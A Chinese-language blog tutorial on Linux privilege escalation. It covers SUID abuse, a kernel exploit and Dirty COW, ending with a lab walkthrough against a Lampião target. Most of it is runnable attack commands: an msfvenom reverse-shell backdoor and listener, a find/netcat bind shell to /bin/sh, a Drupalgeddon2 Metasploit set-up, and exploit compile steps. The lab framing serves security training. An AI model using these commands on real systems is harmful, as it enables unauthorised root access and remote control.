系统相关
首页 > 系统相关> > 权限提升-Linux提权-suid-脏牛内核

权限提升-Linux提权-suid-脏牛内核

作者:互联网

0x00 提权简介

Linux提权相对于windows来说方法比较单一,主要提权方式为suid提权,内核提权,环境变量提权,计划任务提权,第三方服务提权,今天来记载一下关于suid提权以及内核脏牛提权,以及对目标linux信息收集的判断,以及漏洞探针。

0x01 Linux信息收集,漏洞探针

在获取到Linux主机的普通shell权限后,我们可以手动收集目标主机的相关信息,但是手工使用起来效率不高,这里推荐两款信息收集与漏洞探针的自动化脚本,
信息收集:LinEnum.sh
漏洞探针:linux-exploit-suggster2

信息收集:LinEnum.sh
suid文件命令-用于suid提权思路

漏洞探针:linux-exploit-suggster2

msf生成linux后门监听文件:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.129 LPORT=4444 -f elf >/linux_shell
监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.213.129
exp

0x02 suid提权-webshell到root

首先了解suid与guid概念,所谓suid就是使用具有suid的文件时候,将可以以赋予suid权限命令的用户一样的权限去运行这个文件,好比如root给a文件赋予suid,当我们以普通泉下user去运行a也将以root权限运行该文件
guid的概念就是将suid里面user用户的权限更改为group组的盖帘

手工赋予suid权限:chmod u+s xxx
手工删除suid权限:suid u-s xxx
手工搜寻本机suid的命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
搜寻guid命令:
find / -perm -g=s -type f 2>/dev/null

suid提权就是使用具有suid的命令去执行其他命令,因为具有suid的命令具备root权限,从而实现突破普通权限,获取root权限去执行命令
一些常见的可以使用的suid命令提权

nmap
vim
less
more
nano
cp
mv
find
等等 …

例如-find提权:

touch 用户
find 用户 -exec whoami \;
反弹root权限shell
find 用户 -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx 5555

其他suid参考之前写的靶机文章:
http://www.kxsy.work/2021/07/19/shen-tou-dc-1/
http://www.kxsy.work/2021/07/23/shen-tou-dc-2/
suid提权网站参考:https://gtfobins.github.io/

0x03 内核提权-ubuntu16.04

首先信息收集,使用smf的search搜集ubuntu16.04版本的漏洞,因为这个版本存在内核漏洞可提权
注意知识点:下载的payload-exp可能是c编译,到linux无法执行
使用编码转换后运行:gcc 45010.c -o 45010
赋权:chmod +x 45010
执行:./45010
参考之前写的靶机DC-3文章:http://www.kxsy.work/2021/08/11/shen-tou-dc-3/

0x04 脏牛提权

Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

脏牛exp:https://github.com/gbonacini/CVE-2016-5195
脏牛检测脚本:https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh

查看内核命令:uname -a

查看版本命令:lsb_release –a

一般情况靶机上面无法运行脏牛的提权文件,需要结果预编译后执行

g++编译.cpp文件为可执行文件:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

gcc编译.c文件为可执行文件:
gcc -pthread dirty.c -o dirty -lcrypt
gcc 45010.c -o 45010

靶机LAMPIÃO: 1-脏牛提权:
提权思路:
获取IP-扫描端口获取web-爆破cms获取shell-上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
提权过程:

nmap扫描存活IP: nmap 192.168.213.0/24
扫描端口nmap -p- 192.168.213.165 

发现web端口,发现cms-drupal

使用msf搜索攻击模块

serach drupal

设置载荷攻击

use exploit/unix/webapp/drupal_drupalgeddon2
set payload php/meterpreter/reverse_tcp
set rhosts 192.168.213.165
set rport 1898
exploit

获取普通shell

上传脏牛检测脚本,这里注意上传时候不要使用交互shell,以免上传失败

upload /home/dirtycowscan.sh /tmp/a.sh


赋予最高权限,执行脚本,检测可能存在藏牛提权

chmod 777 a.sh


上传脏牛exp-赋予执行权限因为文本为cpp的c编译文件,无法在linux上面运行,上传后需要编译后执行

chmod +x dcow
编译:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

执行提权

提权结束!

交流学习:
博客:www.kxsy.work
CSND社区:告白热

标签:suid,提权,脏牛,linux,权限,find
来源: https://blog.csdn.net/qq_53577336/article/details/120252328